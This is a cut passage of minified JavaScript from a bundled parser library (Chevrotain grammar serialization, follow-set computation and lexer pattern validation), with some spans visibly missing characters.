Wu(OO,{cardinality:t.cardinality,lookahead:t.lookahead});throw new Error(`Invalid terminal element: ${t?.$type}`)}}}function XWe(t){return Wu(t.elements.map(e=>h1(e)).join("|"),{cardinality:t.cardinality,lookahead:t.lookahead})}function jWe(t){return Wu(t.elements.map(e=>h1(e)).join(""),{cardinality:t.cardinality,lookahead:t.lookahead})}function KWe(t){return Wu(`${OO}*?${h1(t.terminal)}`,{cardinality:t.cardinality,lookahead:t.lookahead})}function QWe(t){return Wu(`(?!${h1(t.terminal)})${OO}*?`,{cardinality:t.cardinality,lookahead:t.lookahead})}function ZWe(t){return t.right?Wu(`[${SO(t.left)}-${SO(t.right)}]`,{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1}):Wu(SO(t.left),{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1})}function SO(t){return Fp(t.value)}function Wu(t,e){var r;return(e.wrap!==!1||e.lookahead)&&(t=`(${(r=e.lookahead)!==null&&r!==void 0?r:""}${t})`),e.cardinality?`${t}${e.cardinality}`:t}var OO,zl=N(()=>{"use strict";NE();Hc();Pl();hs();Bl();l1();o(Ufe,"getEntryRule");o(Hfe,"getHiddenRules");o(Yx,"getAllReachableRules");o(qfe,"ruleDfs");o(AO,"getCrossReferenceTerminal");o(_O,"isCommentTerminal");o(DO,"findNodesForProperty");o(Xx,"findNodeForProperty");o(LO,"findNodesForPropertyInternal");o(VWe,"findNodesForKeyword");o(RO,"findNodeForKeyword");o(NO,"findNodesForKeywordInternal");o(MO,"findAssignment");o(qE,"findNameAssignment");o(Wfe,"findNameAssignmentInternal");o(Yfe,"getActionAtElement");o(UWe,"isOptionalCardinality");o(HWe,"isArrayCardinality");o(qWe,"isArrayOperator");o(jx,"isDataTypeRule");o(Xfe,"isDataTypeRuleInternal");o(WWe,"isDataType");o(CO,"isDataTypeInternal");o(c1,"getExplicitRuleType");o(Kx,"getTypeName");o(jfe,"getActionType");o(YWe,"getRuleTypeName");o(IO,"getRuleType");o(u1,"terminalRegex");OO=/[\s\S]/.source;o(h1,"abstractElementToRegex");o(XWe,"terminalAlternativesToRegex");o(jWe,"terminalGroupToRegex");o(KWe,"untilTokenToRegex");o(QWe,"negateTokenToRegex");o(ZWe,"characterRangeToRegex");o(SO,"keywordToRegex");o(Wu,"withCardinality")});function PO(t){let e=[],r=t.Grammar;for(let n of r.rules)mo(n)&&_O(n)&&wO(u1(n))&&e.push(n.name);return{multilineCommentRules:e,nameRegexp:LE}}var BO=N(()=>{"use strict";Bl();zl();l1();Hc();o(PO,"createGrammarConfig")});var FO=N(()=>{"use strict"});function f1(t){console&&console.error&&console.error(`Error: ${t}`)}function Qx(t){console&&console.warn&&console.warn(`Warning: ${t}`)}var Kfe=N(()=>{"use strict";o(f1,"PRINT_ERROR");o(Qx,"PRINT_WARNING")});function Zx(t){let e=new Date().getTime(),r=t();return{time:new Date().getTime()-e,value:r}}var Qfe=N(()=>{"use strict";o(Zx,"timer")});function Jx(t){function e(){}o(e,"FakeConstructor"),e.prototype=t;let r=new e;function n(){return typeof r.bar}return o(n,"fakeAccess"),n(),n(),t;(0,eval)(t)}var Zfe=N(()=>{"use strict";o(Jx,"toFastProperties")});var d1=N(()=>{"use strict";Kfe();Qfe();Zfe()});function JWe(t){return eYe(t)?t.LABEL:t.name}function eYe(t){return xi(t.LABEL)&&t.LABEL!==""}function YE(t){return rt(t,p1)}function p1(t){function e(r){return rt(r,p1)}if(o(e,"convertDefinition"),t instanceof fn){let r={type:"NonTerminal",name:t.nonTerminalName,idx:t.idx};return xi(t.label)&&(r.label=t.label),r}else{if(t instanceof Pn)return{type:"Alternative",definition:e(t.definition)};if(t instanceof dn)return{type:"Option",idx:t.idx,definition:e(t.definition)};if(t instanceof Bn)return{type:"RepetitionMandatory",idx:t.idx,definition:e(t.definition)};if(t instanceof Fn)return{type:"RepetitionMandatoryWithSeparator",idx:t.idx,separator:p1(new Ar({terminalType:t.separator})),definition:e(t.definition)};if(t instanceof _n)return{type:"RepetitionWithSeparator",idx:t.idx,separator:p1(new Ar({terminalType:t.separator})),definition:e(t.definition)};if(t instanceof zr)return{type:"Repetition",idx:t.idx,definition:e(t.definition)};if(t instanceof Dn)return{type:"Alternation",idx:t.idx,definition:e(t.definition)};if(t instanceof Ar){let r={type:"Terminal",name:t.terminalType.name,label:JWe(t.terminalType),idx:t.idx};xi(t.label)&&(r.terminalLabel=t.label);let n=t.terminalType.PATTERN;return t.terminalType.PATTERN&&(r.pattern=Uo(n)?n.source:n),r}else{if(t instanceof fs)return{type:"Rule",name:t.name,orgText:t.orgText,definition:e(t.definition)};throw Error("non exhaustive match")}}}var go,fn,fs,Pn,dn,Bn,Fn,zr,_n,Dn,Ar,XE=N(()=>{"use strict";Yt();o(JWe,"tokenLabel");o(eYe,"hasTokenLabel");go=class{static{o(this,"AbstractProduction")}get definition(){return this._definition}set definition(e){this._definition=e}constructor(e){this._definition=e}accept(e){e.visit(this),Ae(this.definition,r=>{r.accept(e)})}},fn=class extends go{static{o(this,"NonTerminal")}constructor(e){super([]),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}set definition(e){}get definition(){return this.referencedRule!==void 0?this.referencedRule.definition:[]}accept(e){e.visit(this)}},fs=class extends go{static{o(this,"Rule")}constructor(e){super(e.definition),this.orgText="",pa(this,Vs(e,r=>r!==void 0))}},Pn=class extends go{static{o(this,"Alternative")}constructor(e){super(e.definition),this.ignoreAmbiguities=!1,pa(this,Vs(e,r=>r!==void 0))}},dn=class extends go{static{o(this,"Option")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Bn=class extends go{static{o(this,"RepetitionMandatory")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Fn=class extends go{static{o(this,"RepetitionMandatoryWithSeparator")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},zr=class extends go{static{o(this,"Repetition")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},_n=class extends go{static{o(this,"RepetitionWithSeparator")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Dn=class extends go{static{o(this,"Alternation")}get definition(){return this._definition}set definition(e){this._definition=e}constructor(e){super(e.definition),this.idx=1,this.ignoreAmbiguities=!1,this.hasPredicates=!1,pa(this,Vs(e,r=>r!==void 0))}},Ar=class{static{o(this,"Terminal")}constructor(e){this.idx=1,pa(this,Vs(e,r=>r!==void 0))}accept(e){e.visit(this)}};o(YE,"serializeGrammar");o(p1,"serializeProduction")});var ds,Jfe=N(()=>{"use strict";XE();ds=class{static{o(this,"GAstVisitor")}visit(e){let r=e;switch(r.constructor){case fn:return this.visitNonTerminal(r);case Pn:return this.visitAlternative(r);case dn:return this.visitOption(r);case Bn:return this.visitRepetitionMandatory(r);case Fn:return this.visitRepetitionMandatoryWithSeparator(r);case _n:return this.visitRepetitionWithSeparator(r);case zr:return this.visitRepetition(r);case Dn:return this.visitAlternation(r);case Ar:return this.visitTerminal(r);case fs:return this.visitRule(r);default:throw Error("non exhaustive match")}}visitNonTerminal(e){}visitAlternative(e){}visitOption(e){}visitRepetition(e){}visitRepetitionMandatory(e){}visitRepetitionMandatoryWithSeparator(e){}visitRepetitionWithSeparator(e){}visitAlternation(e){}visitTerminal(e){}visitRule(e){}}});function $O(t){return t instanceof Pn||t instanceof dn||t instanceof zr||t instanceof Bn||t instanceof Fn||t instanceof _n||t instanceof Ar||t instanceof fs}function $p(t,e=[]){return t instanceof dn||t instanceof zr||t instanceof _n?!0:t instanceof Dn?z2(t.definition,n=>$p(n,e)):t instanceof fn&&jn(e,t)?!1:t instanceof go?(t instanceof fn&&e.push(t),Pa(t.definition,n=>$p(n,e))):!1}function zO(t){return t instanceof Dn}function Xs(t){if(t instanceof fn)return"SUBRULE";if(t instanceof dn)return"OPTION";if(t instanceof Dn)return"OR";if(t instanceof Bn)return"AT_LEAST_ONE";if(t instanceof Fn)return"AT_LEAST_ONE_SEP";if(t instanceof _n)return"MANY_SEP";if(t instanceof zr)return"MANY";if(t instanceof Ar)return"CONSUME";throw Error("non exhaustive match")}var ede=N(()=>{"use strict";Yt();XE();o($O,"isSequenceProd");o($p,"isOptionalProd");o(zO,"isBranchingProd");o(Xs,"getProductionDslName")});var ps=N(()=>{"use strict";XE();Jfe();ede()});function tde(t,e,r){return[new dn({definition:[new Ar({terminalType:t.separator})].concat(t.definition)})].concat(e,r)}var Yu,jE=N(()=>{"use strict";Yt();ps();Yu=class{static{o(this,"RestWalker")}walk(e,r=[]){Ae(e.definition,(n,i)=>{let a=yi(e.definition,i+1);if(n instanceof fn)this.walkProdRef(n,a,r);else if(n instanceof Ar)this.walkTerminal(n,a,r);else if(n instanceof Pn)this.walkFlat(n,a,r);else if(n instanceof dn)this.walkOption(n,a,r);else if(n instanceof Bn)this.walkAtLeastOne(n,a,r);else if(n instanceof Fn)this.walkAtLeastOneSep(n,a,r);else if(n instanceof _n)this.walkManySep(n,a,r);else if(n instanceof zr)this.walkMany(n,a,r);else if(n instanceof Dn)this.walkOr(n,a,r);else throw Error("non exhaustive match")})}walkTerminal(e,r,n){}walkProdRef(e,r,n){}walkFlat(e,r,n){let i=r.concat(n);this.walk(e,i)}walkOption(e,r,n){let i=r.concat(n);this.walk(e,i)}walkAtLeastOne(e,r,n){let i=[new dn({definition:e.definition})].concat(r,n);this.walk(e,i)}walkAtLeastOneSep(e,r,n){let i=tde(e,r,n);this.walk(e,i)}walkMany(e,r,n){let i=[new dn({definition:e.definition})].concat(r,n);this.walk(e,i)}walkManySep(e,r,n){let i=tde(e,r,n);this.walk(e,i)}walkOr(e,r,n){let i=r.concat(n);Ae(e.definition,a=>{let s=new Pn({definition:[a]});this.walk(s,i)})}};o(tde,"restForRepetitionWithSeparator")});function zp(t){if(t instanceof fn)return zp(t.referencedRule);if(t instanceof Ar)return nYe(t);if($O(t))return tYe(t);if(zO(t))return rYe(t);throw Error("non exhaustive match")}function tYe(t){let e=[],r=t.definition,n=0,i=r.length>n,a,s=!0;for(;i&&s;)a=r[n],s=$p(a),e=e.concat(zp(a)),n=n+1,i=r.length>n;return qm(e)}function rYe(t){let e=rt(t.definition,r=>zp(r));return qm(Qr(e))}function nYe(t){return[t.terminalType]}var GO=N(()=>{"use strict";Yt();ps();o(zp,"first");o(tYe,"firstForSequence");o(rYe,"firstForBranching");o(nYe,"firstForTerminal")});var KE,VO=N(()=>{"use strict";KE="_~IN~_"});function rde(t){let e={};return Ae(t,r=>{let n=new UO(r).startWalking();pa(e,n)}),e}function iYe(t,e){return t.name+e+KE}var UO,nde=N(()=>{"use strict";jE();GO();Yt();VO();ps();UO=class extends Yu{static{o(this,"ResyncFollowsWalker")}constructor(e){super(),this.topProd=e,this.follows={}}startWalking(){return this.walk(this.topProd),this.follows}walkTerminal(e,r,n){}walkProdRef(e,r,n){let i=iYe(e.referencedRule,e.idx)+this.topProd.name,a=r.concat(n),s=new Pn({definition:a}),l=zp(s);this.follows[i]=l}};o(rde,"computeAllProdsFollows");o(iYe,"buildBetweenProdsFollowPrefix")});function m1(t){let e=t.toString();if(QE.hasOwnProperty(e))return QE[e];{let r=aYe.pattern(e);return QE[e]=r,r}}function ide(){QE={}}var QE,aYe,ZE=N(()=>{"use strict";Wx();QE={},aYe=new Pp;o(m1,"getRegExpAst");o(ide,"clearRegExpParserCache")});function ode(t,e=!1){try{let r=m1(t);return HO(r.value,{},r.flags.ignoreCase)}catch(r){if(r.message===sde)e&&Qx(`${eb} Unable to optimize: < ${t.toString()} > + Complement Sets cannot be automatically optimized. + This will disable the lexer's first char optimizations. + See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#COMPLEMENT for details.`);else{let n="";e&&(n=` + This will disable the lexer's first char optimizations. + See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#REGEXP_PARSING for details.`),f1(`${eb} + Failed parsing: < ${t.toString()} > + Using the @chevrotain/regexp-to-ast library + Please open an issue at: https://github.com/chevrotain/chevrotain/issues`+n)}}return[]}function HO(t,e,r){switch(t.type){case"Disjunction":for(let i=0;i{if(typeof u=="number")JE(u,e,r);else{let h=u;if(r===!0)for(let f=h.from;f<=h.to;f++)JE(f,e,r);else{for(let f=h.from;f<=h.to&&f=g1){let f=h.from>=g1?h.from:g1,d=h.to,p=Yc(f),m=Yc(d);for(let g=p;g<=m;g++)e[g]=g}}}});break;case"Group":HO(s.value,e,r);break;default:throw Error("Non Exhaustive Match")}let l=s.quantifier!==void 0&&s.quantifier.atLeast===0;if(s.type==="Group"&&qO(s)===!1||s.type!=="Group"&&l===!1)break}break;default:throw Error("non exhaustive match!")}return kr(e)}function JE(t,e,r){let n=Yc(t);e[n]=n,r===!0&&sYe(t,e)}function sYe(t,e){let r=String.fromCharCode(t),n=r.toUpperCase();if(n!==r){let i=Yc(n.charCodeAt(0));e[i]=i}else{let i=r.toLowerCase();if(i!==r){let a=Yc(i.charCodeAt(0));e[a]=a}}}function ade(t,e){return os(t.value,r=>{if(typeof r=="number")return jn(e,r);{let n=r;return os(e,i=>n.from<=i&&i<=n.to)!==void 0}})}function qO(t){let e=t.quantifier;return e&&e.atLeast===0?!0:t.value?Bt(t.value)?Pa(t.value,qO):qO(t.value):!1}function eS(t,e){if(e instanceof RegExp){let r=m1(e),n=new WO(t);return n.visit(r),n.found}else return os(e,r=>jn(t,r.charCodeAt(0)))!==void 0}var sde,eb,WO,lde=N(()=>{"use strict";Wx();Yt();d1();ZE();YO();sde="Complement Sets are not supported for first char optimization",eb=`Unable to use "first char" lexer optimizations: +`;o(ode,"getOptimizedStartCodesIndices");o(HO,"firstCharOptimizedIndices");o(JE,"addOptimizedIdxToResult");o(sYe,"handleIgnoreCase");o(ade,"findCode");o(qO,"isWholeOptional");WO=class extends Wc{static{o(this,"CharCodeFinder")}constructor(e){super(),this.targetCharCodes=e,this.found=!1}visitChildren(e){if(this.found!==!0){switch(e.type){case"Lookahead":this.visitLookahead(e);return;case"NegativeLookahead":this.visitNegativeLookahead(e);return}super.visitChildren(e)}}visitCharacter(e){jn(this.targetCharCodes,e.value)&&(this.found=!0)}visitSet(e){e.complement?ade(e,this.targetCharCodes)===void 0&&(this.found=!0):ade(e,this.targetCharCodes)!==void 0&&(this.found=!0)}};o(eS,"canMatchCharCode")});function hde(t,e){e=of(e,{useSticky:jO,debug:!1,safeMode:!1,positionTracking:"full",lineTerminatorCharacters:["\r",` +`],tracer:o((b,T)=>T(),"tracer")});let r=e.tracer;r("initCharCodeToOptimizedIndexMap",()=>{EYe()});let n;r("Reject Lexer.NA",()=>{n=cf(t,b=>b[Gp]===Zn.NA)});let i=!1,a;r("Transform Patterns",()=>{i=!1,a=rt(n,b=>{let T=b[Gp];if(Uo(T)){let S=T.source;return S.length===1&&S!=="^"&&S!=="$"&&S!=="."&&!T.ignoreCase?S:S.length===2&&S[0]==="\\"&&!jn(["d","D","s","S","t","r","n","t","0","c","b","B","f","v","w","W"],S[1])?S[1]:e.useSticky?ude(T):cde(T)}else{if(Si(T))return i=!0,{exec:T};if(typeof T=="object")return i=!0,T;if(typeof T=="string"){if(T.length===1)return T;{let S=T.replace(/[\\^$.*+?()[\]{}|]/g,"\\$&"),w=new RegExp(S);return e.useSticky?ude(w):cde(w)}}else throw Error("non exhaustive match")}})});let s,l,u,h,f;r("misc mapping",()=>{s=rt(n,b=>b.tokenTypeIdx),l=rt(n,b=>{let T=b.GROUP;if(T!==Zn.SKIPPED){if(xi(T))return T;if(xr(T))return!1;throw Error("non exhaustive match")}}),u=rt(n,b=>{let T=b.LONGER_ALT;if(T)return Bt(T)?rt(T,w=>ck(n,w)):[ck(n,T)]}),h=rt(n,b=>b.PUSH_MODE),f=rt(n,b=>Ft(b,"POP_MODE"))});let d;r("Line Terminator Handling",()=>{let b=xde(e.lineTerminatorCharacters);d=rt(n,T=>!1),e.positionTracking!=="onlyOffset"&&(d=rt(n,T=>Ft(T,"LINE_BREAKS")?!!T.LINE_BREAKS:vde(T,b)===!1&&eS(b,T.PATTERN)))});let p,m,g,y;r("Misc Mapping #2",()=>{p=rt(n,gde),m=rt(a,wYe),g=Jr(n,(b,T)=>{let S=T.GROUP;return xi(S)&&S!==Zn.SKIPPED&&(b[S]=[]),b},{}),y=rt(a,(b,T)=>({pattern:a[T],longerAlt:u[T],canLineTerminator:d[T],isCustom:p[T],short:m[T],group:l[T],push:h[T],pop:f[T],tokenTypeIdx:s[T],tokenType:n[T]}))});let v=!0,x=[];return e.safeMode||r("First Char Optimization",()=>{x=Jr(n,(b,T,S)=>{if(typeof T.PATTERN=="string"){let w=T.PATTERN.charCodeAt(0),k=Yc(w);XO(b,k,y[S])}else if(Bt(T.START_CHARS_HINT)){let w;Ae(T.START_CHARS_HINT,k=>{let A=typeof k=="string"?k.charCodeAt(0):k,C=Yc(A);w!==C&&(w=C,XO(b,C,y[S]))})}else if(Uo(T.PATTERN))if(T.PATTERN.unicode)v=!1,e.ensureOptimizations&&f1(`${eb} Unable to analyze < ${T.PATTERN.toString()} > pattern. + The regexp unicode flag is not currently supported by the regexp-to-ast library. + This will disable the lexer's first char optimizations. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#UNICODE_OPTIMIZE`);else{let w=ode(T.PATTERN,e.ensureOptimizations);mr(w)&&(v=!1),Ae(w,k=>{XO(b,k,y[S])})}else e.ensureOptimizations&&f1(`${eb} TokenType: <${T.name}> is using a custom token pattern without providing parameter. + This will disable the lexer's first char optimizations. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#CUSTOM_OPTIMIZE`),v=!1;return b},[])}),{emptyGroups:g,patternIdxToConfig:y,charCodeToPatternIdxToConfig:x,hasCustom:i,canBeOptimized:v}}function fde(t,e){let r=[],n=lYe(t);r=r.concat(n.errors);let i=cYe(n.valid),a=i.valid;return r=r.concat(i.errors),r=r.concat(oYe(a)),r=r.concat(yYe(a)),r=r.concat(vYe(a,e)),r=r.concat(xYe(a)),r}function oYe(t){let e=[],r=Zr(t,n=>Uo(n[Gp]));return e=e.concat(hYe(r)),e=e.concat(pYe(r)),e=e.concat(mYe(r)),e=e.concat(gYe(r)),e=e.concat(fYe(r)),e}function lYe(t){let e=Zr(t,i=>!Ft(i,Gp)),r=rt(e,i=>({message:"Token Type: ->"+i.name+"<- missing static 'PATTERN' property",type:Qn.MISSING_PATTERN,tokenTypes:[i]})),n=lf(t,e);return{errors:r,valid:n}}function cYe(t){let e=Zr(t,i=>{let a=i[Gp];return!Uo(a)&&!Si(a)&&!Ft(a,"exec")&&!xi(a)}),r=rt(e,i=>({message:"Token Type: ->"+i.name+"<- static 'PATTERN' can only be a RegExp, a Function matching the {CustomPatternMatcherFunc} type or an Object matching the {ICustomPattern} interface.",type:Qn.INVALID_PATTERN,tokenTypes:[i]})),n=lf(t,e);return{errors:r,valid:n}}function hYe(t){class e extends Wc{static{o(this,"EndAnchorFinder")}constructor(){super(...arguments),this.found=!1}visitEndAnchor(a){this.found=!0}}let r=Zr(t,i=>{let a=i.PATTERN;try{let s=m1(a),l=new e;return l.visit(s),l.found}catch{return uYe.test(a.source)}});return rt(r,i=>({message:`Unexpected RegExp Anchor Error: + Token Type: ->`+i.name+`<- static 'PATTERN' cannot contain end of input anchor '$' + See chevrotain.io/docs/guide/resolving_lexer_errors.html#ANCHORS for details.`,type:Qn.EOI_ANCHOR_FOUND,tokenTypes:[i]}))}function fYe(t){let e=Zr(t,n=>n.PATTERN.test(""));return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'PATTERN' must not match an empty string",type:Qn.EMPTY_MATCH_PATTERN,tokenTypes:[n]}))}function pYe(t){class e extends Wc{static{o(this,"StartAnchorFinder")}constructor(){super(...arguments),this.found=!1}visitStartAnchor(a){this.found=!0}}let r=Zr(t,i=>{let a=i.PATTERN;try{let s=m1(a),l=new e;return l.visit(s),l.found}catch{return dYe.test(a.source)}});return rt(r,i=>({message:`Unexpected RegExp Anchor Error: + Token Type: ->`+i.name+`<- static 'PATTERN' cannot contain start of input anchor '^' + See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#ANCHORS for details.`,type:Qn.SOI_ANCHOR_FOUND,tokenTypes:[i]}))}function mYe(t){let e=Zr(t,n=>{let i=n[Gp];return i instanceof RegExp&&(i.multiline||i.global)});return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'PATTERN' may NOT contain global('g') or multiline('m')",type:Qn.UNSUPPORTED_FLAGS_FOUND,tokenTypes:[n]}))}function gYe(t){let e=[],r=rt(t,a=>Jr(t,(s,l)=>(a.PATTERN.source===l.PATTERN.source&&!jn(e,l)&&l.PATTERN!==Zn.NA&&(e.push(l),s.push(l)),s),[]));r=_c(r);let n=Zr(r,a=>a.length>1);return rt(n,a=>{let s=rt(a,u=>u.name);return{message:`The same RegExp pattern ->${ea(a).PATTERN}<-has been used in all of the following Token Types: ${s.join(", ")} <-`,type:Qn.DUPLICATE_PATTERNS_FOUND,tokenTypes:a}})}function yYe(t){let e=Zr(t,n=>{if(!Ft(n,"GROUP"))return!1;let i=n.GROUP;return i!==Zn.SKIPPED&&i!==Zn.NA&&!xi(i)});return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'GROUP' can only be Lexer.SKIPPED/Lexer.NA/A String",type:Qn.INVALID_GROUP_TYPE_FOUND,tokenTypes:[n]}))}function vYe(t,e){let r=Zr(t,i=>i.PUSH_MODE!==void 0&&!jn(e,i.PUSH_MODE));return rt(r,i=>({message:`Token Type: ->${i.name}<- static 'PUSH_MODE' value cannot refer to a Lexer Mode ->${i.PUSH_MODE}<-which does not exist`,type:Qn.PUSH_MODE_DOES_NOT_EXIST,tokenTypes:[i]}))}function xYe(t){let e=[],r=Jr(t,(n,i,a)=>{let s=i.PATTERN;return s===Zn.NA||(xi(s)?n.push({str:s,idx:a,tokenType:i}):Uo(s)&&TYe(s)&&n.push({str:s.source,idx:a,tokenType:i})),n},[]);return Ae(t,(n,i)=>{Ae(r,({str:a,idx:s,tokenType:l})=>{if(i${l.name}<- can never be matched. +Because it appears AFTER the Token Type ->${n.name}<-in the lexer's definition. +See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#UNREACHABLE`;e.push({message:u,type:Qn.UNREACHABLE_PATTERN,tokenTypes:[n,l]})}})}),e}function bYe(t,e){if(Uo(e)){let r=e.exec(t);return r!==null&&r.index===0}else{if(Si(e))return e(t,0,[],{});if(Ft(e,"exec"))return e.exec(t,0,[],{});if(typeof e=="string")return e===t;throw Error("non exhaustive match")}}function TYe(t){return os([".","\\","[","]","|","^","$","(",")","?","*","+","{"],r=>t.source.indexOf(r)!==-1)===void 0}function cde(t){let e=t.ignoreCase?"i":"";return new RegExp(`^(?:${t.source})`,e)}function ude(t){let e=t.ignoreCase?"iy":"y";return new RegExp(`${t.source}`,e)}function dde(t,e,r){let n=[];return Ft(t,y1)||n.push({message:"A MultiMode Lexer cannot be initialized without a <"+y1+`> property in its definition +`,type:Qn.MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE}),Ft(t,tS)||n.push({message:"A MultiMode Lexer cannot be initialized without a <"+tS+`> property in its definition +`,type:Qn.MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY}),Ft(t,tS)&&Ft(t,y1)&&!Ft(t.modes,t.defaultMode)&&n.push({message:`A MultiMode Lexer cannot be initialized with a ${y1}: <${t.defaultMode}>which does not exist +`,type:Qn.MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST}),Ft(t,tS)&&Ae(t.modes,(i,a)=>{Ae(i,(s,l)=>{if(xr(s))n.push({message:`A Lexer cannot be initialized using an undefined Token Type. Mode:<${a}> at index: <${l}> +`,type:Qn.LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED});else if(Ft(s,"LONGER_ALT")){let u=Bt(s.LONGER_ALT)?s.LONGER_ALT:[s.LONGER_ALT];Ae(u,h=>{!xr(h)&&!jn(i,h)&&n.push({message:`A MultiMode Lexer cannot be initialized with a longer_alt <${h.name}> on token <${s.name}> outside of mode <${a}> +`,type:Qn.MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE})})}})}),n}function pde(t,e,r){let n=[],i=!1,a=_c(Qr(kr(t.modes))),s=cf(a,u=>u[Gp]===Zn.NA),l=xde(r);return e&&Ae(s,u=>{let h=vde(u,l);if(h!==!1){let d={message:kYe(u,h),type:h.issue,tokenType:u};n.push(d)}else Ft(u,"LINE_BREAKS")?u.LINE_BREAKS===!0&&(i=!0):eS(l,u.PATTERN)&&(i=!0)}),e&&!i&&n.push({message:`Warning: No LINE_BREAKS Found. + This Lexer has been defined to track line and column information, + But none of the Token Types can be identified as matching a line terminator. + See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#LINE_BREAKS + for details.`,type:Qn.NO_LINE_BREAKS_FLAGS}),n}function mde(t){let e={},r=qr(t);return Ae(r,n=>{let i=t[n];if(Bt(i))e[n]=[];else throw Error("non exhaustive match")}),e}function gde(t){let e=t.PATTERN;if(Uo(e))return!1;if(Si(e))return!0;if(Ft(e,"exec"))return!0;if(xi(e))return!1;throw Error("non exhaustive match")}function wYe(t){return xi(t)&&t.length===1?t.charCodeAt(0):!1}function vde(t,e){if(Ft(t,"LINE_BREAKS"))return!1;if(Uo(t.PATTERN)){try{eS(e,t.PATTERN)}catch(r){return{issue:Qn.IDENTIFY_TERMINATOR,errMsg:r.message}}return!1}else{if(xi(t.PATTERN))return!1;if(gde(t))return{issue:Qn.CUSTOM_LINE_BREAK};throw Error("non exhaustive match")}}function kYe(t,e){if(e.issue===Qn.IDENTIFY_TERMINATOR)return`Warning: unable to identify line terminator usage in pattern. + The problem is in the <${t.name}> Token Type + Root cause: ${e.errMsg}. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#IDENTIFY_TERMINATOR`;if(e.issue===Qn.CUSTOM_LINE_BREAK)return`Warning: A Custom Token Pattern should specify the option. + The problem is in the <${t.name}> Token Type + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#CUSTOM_LINE_BREAK`;throw Error("non exhaustive match")}function xde(t){return rt(t,r=>xi(r)?r.charCodeAt(0):r)}function XO(t,e,r){t[e]===void 0?t[e]=[r]:t[e].push(r)}function Yc(t){return t255?255+~~(t/255):t}}var Gp,y1,tS,jO,uYe,dYe,yde,g1,rS,YO=N(()=>{"use strict";Wx();tb();Yt();d1();lde();ZE();Gp="PATTERN",y1="defaultMode",tS="modes",jO=typeof new RegExp("(?:)").sticky=="boolean";o(hde,"analyzeTokenTypes");o(fde,"validatePatterns");o(oYe,"validateRegExpPattern");o(lYe,"findMissingPatterns");o(cYe,"findInvalidPatterns");uYe=/[^\\][$]/;o(hYe,"findEndOfInputAnchor");o(fYe,"findEmptyMatchRegExps");dYe=/[^\\[][\^]|^\^/;o(pYe,"findStartOfInputAnchor");o(mYe,"findUnsupportedFlags");o(gYe,"findDuplicatePatterns");o(yYe,"findInvalidGroupType");o(vYe,"findModesThatDoNotExist");o(xYe,"findUnreachablePatterns");o(bYe,"testTokenType");o(TYe,"noMetaChar");o(cde,"addStartOfInput");o(ude,"addStickyFlag");o(dde,"performRuntimeChecks");o(pde,"performWarningRuntimeChecks");o(mde,"cloneEmptyGroups");o(gde,"isCustomPattern");o(wYe,"isShortPattern");yde={test:o(function(t){let e=t.length;for(let r=this.lastIndex;r{r.isParent=r.categoryMatches.length>0})}function SYe(t){let e=ln(t),r=t,n=!0;for(;n;){r=_c(Qr(rt(r,a=>a.CATEGORIES)));let i=lf(r,e);e=e.concat(i),mr(i)?n=!1:r=i}return e}function CYe(t){Ae(t,e=>{KO(e)||(wde[bde]=e,e.tokenTypeIdx=bde++),Tde(e)&&!Bt(e.CATEGORIES)&&(e.CATEGORIES=[e.CATEGORIES]),Tde(e)||(e.CATEGORIES=[]),DYe(e)||(e.categoryMatches=[]),LYe(e)||(e.categoryMatchesMap={})})}function AYe(t){Ae(t,e=>{e.categoryMatches=[],Ae(e.categoryMatchesMap,(r,n)=>{e.categoryMatches.push(wde[n].tokenTypeIdx)})})}function _Ye(t){Ae(t,e=>{kde([],e)})}function kde(t,e){Ae(t,r=>{e.categoryMatchesMap[r.tokenTypeIdx]=!0}),Ae(e.CATEGORIES,r=>{let n=t.concat(e);jn(n,r)||kde(n,r)})}function KO(t){return Ft(t,"tokenTypeIdx")}function Tde(t){return Ft(t,"CATEGORIES")}function DYe(t){return Ft(t,"categoryMatches")}function LYe(t){return Ft(t,"categoryMatchesMap")}function Ede(t){return Ft(t,"tokenTypeIdx")}var bde,wde,Vp=N(()=>{"use strict";Yt();o(Xu,"tokenStructuredMatcher");o(v1,"tokenStructuredMatcherNoCategories");bde=1,wde={};o(ju,"augmentTokenTypes");o(SYe,"expandCategories");o(CYe,"assignTokenDefaultProps");o(AYe,"assignCategoriesTokensProp");o(_Ye,"assignCategoriesMapProp");o(kde,"singleAssignCategoriesToksMap");o(KO,"hasShortKeyProperty");o(Tde,"hasCategoriesProperty");o(DYe,"hasExtendingTokensTypesProperty");o(LYe,"hasExtendingTokensTypesMapProperty");o(Ede,"isTokenType")});var x1,QO=N(()=>{"use strict";x1={buildUnableToPopLexerModeMessage(t){return`Unable to pop Lexer Mode after encountering Token ->${t.image}<- The Mode Stack is empty`},buildUnexpectedCharactersMessage(t,e,r,n,i){return`unexpected character: ->${t.charAt(e)}<- at offset: ${e}, skipped ${r} characters.`}}});var Qn,rb,Zn,tb=N(()=>{"use 